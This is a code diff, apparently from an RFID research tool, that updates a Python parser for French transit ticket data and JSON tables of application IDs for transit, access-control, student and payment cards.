UsageDescribeFunction: callable = None
ISO_Countries = {
0x250: 'France',
}
FRA_OrganizationalAuthority_Contract_Provider = {
0x000: {
5: 'Lille (Ilévia / Keolis)',
7: 'Lens-Béthune (Tadao / Transdev)',
5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
},
0x006: {
1: 'Amiens (Ametis / Keolis)',
1: InterticHelper('Amiens', 'Ametis / Keolis'),
},
0x008: {
15: 'Angoulême (STGA)',
15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
},
0x021: {
1: 'Bordeaux (TBM / Keolis)',
1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
},
0x057: {
1: 'Lyon (TCL / Keolis)',
1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
},
0x072: {
1: 'Tours (filbleu / Keolis)',
1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
},
0x078: {
4: 'Reims (Citura / Transdev)',
},
0x502: {
83: 'Annecy (Sibra)',
4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
},
0x091: {
1: 'Strasbourg (CTS)',
1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
},
0x502: {
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
10: InterticHelper('Clermont-Ferrand', 'T2C'),
},
0x907: {
1: 'Dijon (Divia / Keolis)',
1: InterticHelper('Dijon', 'Divia / Keolis'),
},
0x908: {
1: 'Rennes (STAR / Keolis)',
8: 'Saint-Malo (MAT / RATP)',
1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
},
0x911: {
5: 'Besançon (Ginko / Keolis)',
5: InterticHelper('Besançon', 'Ginko / Keolis'),
},
0x912: {
3: 'Le Havre (Lia / Transdev)',
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)',
3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
},
0x913: {
3: 'Nîmes (Tango / Transdev)',
3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
},
0x917: {
4: 'Angers (Irigo / RATP)',
7: 'Saint-Nazaire (Stran)',
4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
7: InterticHelper('Saint-Nazaire', 'Stran'),
},
}
@ -138,99 +314,73 @@ def main():
file.close()
SystemArea = BitMe()
Distribution_Data = BitMe()
C1 = BitMe()
C2 = BitMe()
Usage_Sta_B = BitMe()
Usage_Sta_E = BitMe()
Usage_Data = BitMe()
Usage_Cer = BitMe()
Block0Left = BitMe()
# Usage_DAT = BitMe()
# Usage_CER = BitMe()
Usage_A_DAT = BitMe()
Usage_A_CER = BitMe()
Usage_B_DAT = BitMe()
Usage_B_CER = BitMe()
Distribution_Cer = BitMe()
SWAP = None
RELOADING1 = None
COUNTER1 = None
# RELOADING2 = None
# COUNTER2 = None
Describe_Usage = None
Distribution_Data_End = data.nom_bits(24)
SystemArea.addBits(data.nom_bits(8))
PID = SystemArea.nom(5)
bIsFlipFlop = PID & 0x10
KeyId = SystemArea.nom(3)
print()
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
print('KeyId :', hex(KeyId));
Block0Left.addBits(data.nom_bits(23))
KeyId = data.nom(4)
PID = data.nom(5)
match PID:
case 0x02:
Distribution_Data.addBits(data.nom_bits(3 * 32))
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Usage_Data.addBits(data.nom_bits(7 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
case 0x10:
Distribution_Data.addBits(data.nom_bits(2 * 32))
Distribution_Data.addBits(Block0Left.nom_bits_left())
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
RELOADING1 = data.nom(8)
COUNTER1 = data.nom(24)
SWAP = data.nom(32)
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
Usage_A_DAT.addBits(data.nom_bits(16))
Usage_A_CER.addBits(data.nom_bits(16))
Usage_B_DAT.addBits(data.nom_bits(4 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x06:
case 0x11 | 0x19:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(3 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x07:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(4 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x0a:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32))
# No USAGE for 0x0a
case 0x0b: # Not in the draft :(
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Data.addBits(Block0Left.nom_bits_left())
RELOADING1 = data.nom(8)
COUNTER1 = data.nom(24)
SWAP = data.nom(32)
Usage_A_DAT.addBits(data.nom_bits(3 * 32))
Usage_A_DAT.addBits(data.nom_bits(16))
Usage_A_CER.addBits(data.nom_bits(16))
Usage_B_DAT.addBits(data.nom_bits(3 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case _:
print('PID not (yet?) supported')
print('PID not (yet?) supported: 0x{:02x}'.format(PID))
return 3
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
print('KeyId : 0x{:1x}'.format(KeyId))
print()
'''
DISTRIBUTION
------------
Not very well documented but seems standard for this part
'''
if not Distribution_Data.isEmpty():
ContractNetworkId = Distribution_Data.nom_bits(24)
CountryCode = ba2int(ContractNetworkId[0:0+12])
@ -243,21 +393,6 @@ def main():
Distribution_left = Distribution_Data.nom_bits_left()
RELOADING1 = C1.nom(8)
COUNTER1 = C1.nom(24)
RELOADING2 = C2.nom(8)
COUNTER2 = C2.nom(24)
'''
USAGE
-----
No documentation about Usage
All is left
'''
Usage_left = Usage_Data.nom_bits_left()
if not Distribution_Data.isEmpty():
print()
print('DISTRIBUTION')
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
@ -268,23 +403,42 @@ def main():
if (oa is not None):
s = oa.get(ContractProvider)
if (s is not None):
print(' ~ Authority & Provider ~ :', s)
print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
Describe_Usage = s.UsageDescribeFunction
print(' ContractTariff :', ContractTariff);
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
print(' left... :', Distribution_left);
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
print()
print('COUNTER')
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
if not Usage_Data.isEmpty():
if(Describe_Usage is None):
Describe_Usage = Describe_Usage_Generic
if COUNTER1 is not None:
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
# if COUNTER2 is not None:
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
if SWAP is not None:
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
'''
USAGE
-----
No real documentation about Usage
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
'''
if not Usage_A_DAT.isEmpty():
print()
print('USAGE')
print('USAGE_A')
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
if not Usage_B_DAT.isEmpty():
print()
print('USAGE_B')
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
print(' left... :', Usage_left);
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
return 0

View file

@ -4,14 +4,62 @@
"Vendor": "NFC Forum",
"Country": "US",
"Name": "NFC Forum NDEF Tag",
"Description": "(FID 03: Capability Container)",
"Description": "FID 03: Capability Container",
"Type": "ndef"
},
{
"AID": "000357",
"Vendor": "LEGIC",
"Country": "DE",
"Name": "LEGIC",
"Description": "FID 02: EF-CONF",
"Type": "pacs"
},
{
"AID": "2081F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access Control",
"Description": "Cardax Card Data Application",
"Type": "pacs"
},
{
"AID": "2F81F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access Control",
"Description": "Card Application Directory [CAD]",
"Type": "pacs"
},
{
"AID": "4791DA",
"Vendor": "Prima Systems",
"Country": "SI",
"Name": "Prima FlexAir Access Control",
"Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions",
"Type": "pacs"
},
{
"AID": "53494F",
"Vendor": "HID",
"Country": "US",
"Name": "Access Control",
"Description": "HID Factory",
"Type": "pacs"
},
{
"AID": "6F706C",
"Vendor": "Openpath",
"Country": "US",
"Name": "Access control",
"Description": "Openpath PACS Application",
"Type": "pacs"
},
{
"AID": "D3494F",
"Vendor": "HID",
"Country": "US",
"Name": "SIO DESFire Ev1",
"Name": "SIO DESFire EV1",
"Description": "Field Encoder",
"Type": "pacs"
},
@ -24,116 +72,36 @@
"Type": "pacs"
},
{
"AID": "53494F",
"Vendor": "HID",
"Country": "US",
"Name": "Access control",
"Description": "HID Factory",
"AID": "F48EF1",
"Vendor": "Salto Systems",
"Country": "ES",
"Name": "Salto Systems",
"Description": "",
"Type": "pacs"
},
{
"AID": "4F5931",
"Vendor": "Transport of London",
"Country": "UK",
"Name": "Oyster Card",
"AID": "F48EFD",
"Vendor": "Salto Systems",
"Country": "ES",
"Name": "Salto KS",
"Description": "Key as a Service // FID 01: Standard Data",
"Type": "pacs"
},
{
"AID": "F51BC0",
"Vendor": "STid Group",
"Country": "FR",
"Name": "CCT Card / DTA Tag / PCG Fob",
"Description": "STid Easyline / Architect Access Credetials",
"Type": "pacs"
},
{
"AID": "F52310",
"Vendor": "Integrated Control Technology Limited [ICT]",
"Country": "NZ",
"Name": "ICT Access Credential",
"Description": "",
"Type": "transport"
},
{
"AID": "422201",
"Vendor": "Transport of Istanbul",
"Country": "Turkey",
"Name": "Istanbulkart",
"Description": "",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Metropolitan Transportation Commission / Cubic",
"Country": "US",
"Name": "Clipper Card",
"Description": "",
"Type": "transport"
},
{
"AID": "000357",
"Vendor": "LEGIC",
"Country": "DE",
"Name": "Legic",
"Description": "(FID 02: EF-CONF)",
"Type": ""
},
{
"AID": "578000",
"Vendor": "NORTIC",
"Country": "",
"Name": "NORTIC Card Issuer",
"Description": "(FID 0C: Card Issuer Header)",
"Type": "transport"
},
{
"AID": "578001",
"Vendor": "NORTIC",
"Country": "",
"Name": "NORTIC Transport",
"Description": "(FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder",
"Type": "transport"
},
{
"AID": "784000",
"Vendor": "NOL",
"Country": "UAE",
"Name": "Nol Card/Dubai",
"Description": "Nol Card/Dubai",
"Type": ""
},
{
"AID": "956B19",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9800",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9801",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9802",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "F21030",
"Vendor": "ORCA (VUX/ERG)",
"Country": "",
"Name": "ORCA Card",
"Description": "(FIDs 02: Trip History; 04: current balance)",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Clipper",
"Country": "US",
"Name": "Clipper Card/San Francisco Bay Area ",
"Description": "(FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History)\\nFFFFFF General Issuer Information (FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher)",
"Type": "transport"
"Type": "pacs"
},
{
"AID": "F518F0",
@ -144,36 +112,35 @@
"Type": "alarm system"
},
{
"AID": "F38091",
"Vendor": "Microtronic AG",
"Country": "CH",
"Name": "Microtronic Tag",
"Description": "",
"Type": "payment system"
},
{
"AID": "F88280",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"AID": "05845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "F5217D",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"AID": "15845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "F48EF1",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"AID": "25845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "35845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
@ -265,43 +232,11 @@
"Type": "student"
},
{
"AID": "F001D0",
"Vendor": "Arabako Foru Aldundia",
"Country": "",
"Name": "BAT",
"Description": "",
"Type": "transport"
},
{
"AID": "05845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "15845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "25845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "35845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"AID": "554E49",
"Vendor": "Slovenian Universities",
"Country": "SI",
"Name": "Slovenian University Student ID",
"Description": "Issued by University of Ljubljana, Maribor and Primorska",
"Type": "student"
},
{
@ -329,43 +264,27 @@
"Type": "student"
},
{
"AID": "C26001",
"Vendor": "CAR2GO",
"Country": "DE",
"Name": "MemberCard",
"Description": "CAR2GO - Member Card",
"Type": "carsharing"
"AID": "F48EF1",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"Type": "student"
},
{
"AID": "2F81F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access control",
"Description": "Card Application Directory (CAD)",
"Type": "pacs"
"AID": "F5217D",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"Type": "student"
},
{
"AID": "2081F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access control",
"Description": "Cardax Card Data Application",
"Type": "pacs"
},
{
"AID": "6F706C",
"Vendor": "Openpath",
"Country": "US",
"Name": "Access control",
"Description": "Openpath PACS Application",
"Type": "pacs"
},
{
"AID": "554E49",
"Vendor": "Slovenian Universities",
"Country": "SI",
"Name": "Slovenian University Student ID",
"Description": "Issued by University of Ljubljana, Maribor and Primorska",
"AID": "F88280",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"Type": "student"
},
{
@ -376,14 +295,6 @@
"Description": "",
"Type": "payment system"
},
{
"AID": "78E127",
"Vendor": "Disney",
"Country": "US",
"Name": "Disney MagicBand",
"Description": "",
"Type": "payment system"
},
{
"AID": "44434C",
"Vendor": "Disney",
@ -393,195 +304,307 @@
"Type": "payment system"
},
{
"AID": "F21100",
"Vendor": "MyKI",
"Country": "AUS",
"Name": "Myki",
"Description": "AID found on Myki ticket cards",
"Type": "transport"
},
{
"AID": "F210F0",
"Vendor": "MyKI",
"Country": "AUS",
"Name": "Myki",
"Description": "AID found on Myki ticket cards",
"Type": "transport"
},
{
"AID": "F206B0",
"Vendor": "ACS",
"Country": "AUS",
"Name": "Metrocard / ACS",
"Description": "",
"Type": "transport"
},
{
"AID": "F21050",
"Vendor": "INIT",
"Country": "NZ",
"Name": "Metrocard / Christchurch",
"Description": "",
"Type": "transport"
},
{
"AID": "F21150",
"Vendor": "HAGUESS",
"Country": "CZ",
"Name": "Lítačka / Prague",
"Description": "",
"Type": "transport"
},
{
"AID": "F21360",
"Vendor": "INIT",
"Country": "CZ",
"Name": "HOLO",
"Description": "",
"Type": "transport"
},
{
"AID": "F21381",
"Vendor": "Cubic",
"AID": "78E127",
"Vendor": "Disney",
"Country": "US",
"Name": "Ventra",
"Name": "Disney MagicBand",
"Description": "",
"Type": "transport"
"Type": "payment system"
},
{
"AID": "F213A0",
"Vendor": "INIT",
"Country": "US",
"Name": "WAVE / Rhode Island",
"Description": "",
"Type": "transport"
"AID": "956B19",
"Vendor": "Alfa-Zet",
"Country": "BE",
"Name": "ping.ping Tag",
"Description": "ping.ping Tag",
"Type": "payment system"
},
{
"AID": "F210E0",
"Vendor": "Hop Fastpass",
"Country": "",
"Name": "Hop Fastpass",
"Description": "",
"Type": "transport"
"AID": "DB9800",
"Vendor": "Alfa-Zet",
"Country": "BE",
"Name": "ping.ping Tag",
"Description": "ping.ping Tag",
"Type": "payment system"
},
{
"AID": "EF2011",
"Vendor": "HSL",
"Country": "FI",
"Name": "HSL / Helsinki",
"Description": "",
"Type": "transport"
"AID": "DB9801",
"Vendor": "Alfa-Zet",
"Country": "BE",
"Name": "ping.ping Tag",
"Description": "ping.ping Tag",
"Type": "payment system"
},
{
"AID": "A00216",
"Vendor": "ITSO",
"Country": "",
"Name": "ITSO",
"Description": "",
"Type": "transport"
"AID": "DB9802",
"Vendor": "Alfa-Zet",
"Country": "BE",
"Name": "ping.ping Tag",
"Description": "ping.ping Tag",
"Type": "payment system"
},
{
"AID": "554000",
"Vendor": "AT HOP",
"Country": "",
"Name": "AT HOP",
"AID": "F38091",
"Vendor": "Microtronic AG",
"Country": "CH",
"Name": "Microtronic Tag",
"Description": "",
"Type": "transport"
"Type": "payment system"
},
{
"AID": "534531",
"Vendor": "OPAL",
"Country": "AUS",
"Name": "OPAL",
"Description": "",
"Type": "transport"
},
{
"AID": "2211AF",
"Vendor": "Leap",
"Country": "",
"Name": "Leap",
"Description": "",
"Type": "transport"
},
{
"AID": "015342",
"Vendor": "BEM",
"Country": "TH",
"Name": "BEM / Bangkok",
"Description": "",
"Type": "transport"
},
{
"AID": "012242",
"Vendor": "Istanbulkart",
"Country": "TR",
"Name": "Istanbulkart / Istanbul",
"Description": "",
"Type": "transport"
},
{
"AID": "010000",
"Vendor": "Madrid Public Transit Card",
"Country": "ES",
"Name": "Madrid Public Transit Card",
"Description": "",
"Type": "transport"
"AID": "C26001",
"Vendor": "CAR2GO",
"Country": "DE",
"Name": "MemberCard",
"Description": "CAR2GO - Member Card",
"Type": "carsharing"
},
{
"AID": "000001",
"Vendor": "Invalid / reserved",
"Vendor": "Invalid / Reserved",
"Country": "",
"Name": "Invalid / reserved",
"Description": "used by Compass DESFire and Breeze DESFire",
"Type": "transport"
},
{
"AID": "FFFFFF",
"Vendor": "Reserved for future use",
"Country": "",
"Name": "Reserved for future use",
"Description": "used by AT HOP, Nol, ORCA",
"Type": "transport"
},
{
"AID": "F52310",
"Vendor": "Integrated Control Technology Limited (ICT)",
"Country": "NZ",
"Name": "ICT Access credential",
"Description": "",
"Type": "pacs"
},
{
"AID": "F48EF1",
"Vendor": "SALTO Access credential",
"Country": "ES",
"Name": "SALTO Access credential",
"Description": "",
"Type": "pacs"
},
{
"AID": "4791DA",
"Vendor": "Prima Systems",
"Country": "SI",
"Name": "Prima FlexAir Access Control",
"Description": "FIDs: 00 - DRM, 01 - Access Event Log, 04 - Access Permissions",
"Type": "pacs"
},
{
"AID": "FF30FF",
"Vendor": "Metrolinx",
"Country": "CA",
"Name": "Presto Card",
"Description": "",
"Name": "Invalid / Reserved",
"Description": "Used by YVR Compass and ATL Breeze",
"Type": "transport"
},
{
"AID": "002000",
"Vendor": "Metrolinx",
"Country": "CA",
"Name": "Presto Card",
"Description": "",
"Name": "PRESTO Card [YYZ/YHM/YOW]",
"Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data",
"Type": "transport"
},
{
"AID": "010000",
"Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid [CRTM]",
"Country": "ES",
"Name": "Tarjeta Transporte Publico [MAD]",
"Description": "MAD Public Transport Card",
"Type": "transport"
},
{
"AID": "012242",
"Vendor": "Istanbulkart",
"Country": "TR",
"Name": "Istanbulkart [IST]",
"Description": "IST Istanbul Card",
"Type": "transport"
},
{
"AID": "015342",
"Vendor": "Bangkok Expressway and Metro Public Limited Company [BEM]",
"Country": "TH",
"Name": "MRT Stored Value Card [BKK]",
"Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards",
"Type": "transport"
},
{
"AID": "2211AF",
"Vendor": "National Transport Authority",
"Country": "IE",
"Name": "TFI Leap Card [DUB]",
"Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data",
"Type": "transport"
},
{
"AID": "4F5931",
"Vendor": "Transport for London [TfL]",
"Country": "UK",
"Name": "Oyster Card [LHR]",
"Description": "FIDs: 00-07: Standard Data",
"Type": "transport"
},
{
"AID": "422201",
"Vendor": "Transport of Istanbul",
"Country": "TR",
"Name": "İstanbulkart [IST]",
"Description": "IST Istanbul Card",
"Type": "transport"
},
{
"AID": "534531",
"Vendor": "Transport for New South Wales [TfNSW]",
"Country": "AU",
"Name": "Opal Card [SYD]",
"Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History",
"Type": "transport"
},
{
"AID": "554000",
"Vendor": "Auckland Transport",
"Country": "NZ",
"Name": "AT HOP Card [AKL]",
"Description": "FIDs: 00: Backup Data; 08/09/0A",
"Type": "transport"
},
{
"AID": "578000",
"Vendor": "Norwegian Public Roads Administration [NPRA]",
"Country": "NO",
"Name": "NORTIC Transport",
"Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header",
"Type": "transport"
},
{
"AID": "578001",
"Vendor": "Norwegian Public Roads Administration [NPRA]",
"Country": "NO",
"Name": "NORTIC Transport",
"Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder",
"Type": "transport"
},
{
"AID": "784000",
"Vendor": "Roads & Transport Authority [Government of Dubai]",
"Country": "AE",
"Name": "nol Card [DXB]",
"Description": "DXB nol Card",
"Type": "transport"
},
{
"AID": "A00216",
"Vendor": "ITSO Ltd",
"Country": "UK",
"Name": "ITSO",
"Description": "Appears to be used across UK Transit Agencies except LHR Oyster.",
"Type": "transport"
},
{
"AID": "EF2011",
"Vendor": "Helsinki Region Transport [HRT]",
"Country": "FI",
"Name": "HSL Card [HEL/TLL/TAY]",
"Description": "HEL/TLL/TAY HSL Card",
"Type": "transport"
},
{
"AID": "F001D0",
"Vendor": "Arabako Foru Aldundia",
"Country": "ES",
"Name": "BAT Card [VIT]",
"Description": "VIT BAT Card",
"Type": "transport"
},
{
"AID": "F206B0",
"Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]",
"Country": "AU",
"Name": "metroCARD [ADL]",
"Description": "FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote/HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance",
"Type": "transport"
},
{
"AID": "F21030",
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
"Country": "US",
"Name": "ORCA [SEA]",
"Description": "One Regional Card For All // FIDs 02: Trip History; 04: current balance",
"Type": "transport"
},
{
"AID": "F21050",
"Vendor": "Metro Christchurch via INIT",
"Country": "NZ",
"Name": "Metrocard [CHC]",
"Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance",
"Type": "transport"
},
{
"AID": "F210E0",
"Vendor": "TriMet",
"Country": "US",
"Name": "Hop Fastpass [PDX]",
"Description": "PDX Hop Card",
"Type": "transport"
},
{
"AID": "F210F0",
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
"Country": "AU",
"Name": "myki [MEL]",
"Description": "FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data",
"Type": "transport"
},
{
"AID": "F21100",
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
"Country": "AU",
"Name": "myki [MEL]",
"Description": "FIDs 0F: Standard Data; 00: Backup Data",
"Type": "transport"
},
{
"AID": "F21150",
"Vendor": "Prague Public Transit Company via Haguess a.s.",
"Country": "CZ",
"Name": "Lítačka Opencard [PRG]",
"Description": "PRG Lítačka Opencard",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Metropolitan Transportation Commission via Cubic",
"Country": "US",
"Name": "Clipper Card [SFO]",
"Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History",
"Type": "transport"
},
{
"AID": "F21360",
"Vendor": "INIT",
"Country": "US",
"Name": "HOLO Card [HNL]",
"Description": "HNL HOLO Card",
"Type": "transport"
},
{
"AID": "F21381",
"Vendor": "Chicago Transit Authority [CTA] via Cubic",
"Country": "US",
"Name": "Ventra Card [ORD]",
"Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data",
"Type": "transport"
},
{
"AID": "F21390",
"Vendor": "Multiple NZ Transit Agencies via Otago Regional Council",
"Country": "NZ",
"Name": "Bee Card [DUD]",
"Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance",
"Type": "transport"
},
{
"AID": "F213A0",
"Vendor": "Rhode Island Public Transport Authority [RIPTA] via INIT",
"Country": "US",
"Name": "Wave Smart Card [PVD]",
"Description": "PVD Wave Smart Card",
"Type": "transport"
},
{
"AID": "F213F0",
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
"Country": "US",
"Name": "ORCA [SEA]",
"Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data",
"Type": "transport"
},
{
"AID": "FF30FF",
"Vendor": "Metrolinx",
"Country": "CA",
"Name": "PRESTO Card [YYZ/YHM/YOW]",
"Description": "FID 08: Standard Data",
"Type": "transport"
},
{
"AID": "FFFFFF",
"Vendor": "Reserved for Future Use",
"Country": "",
"Name": "Reserved for Future Use",
"Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA",
"Type": "transport"
}
]

View file

@ -2284,7 +2284,7 @@
"Vendor": "Apple",
"Country": "",
"Name": "Apple Home Key Framework",
"Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)",
"Description": "Home Key configuration applet. Used for attestation exchange",
"Type": ""
},
{
@ -2292,7 +2292,39 @@
"Vendor": "Apple",
"Country": "",
"Name": "Apple Home Key",
"Description": "NFC Home Key for select HomeKit-compatible locks",
"Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A0000008580202",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key Framework",
"Description": "Access Key configuration applet. Used for attestation exchange",
"Type": ""
},
{
"AID": "A0000008580201",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key",
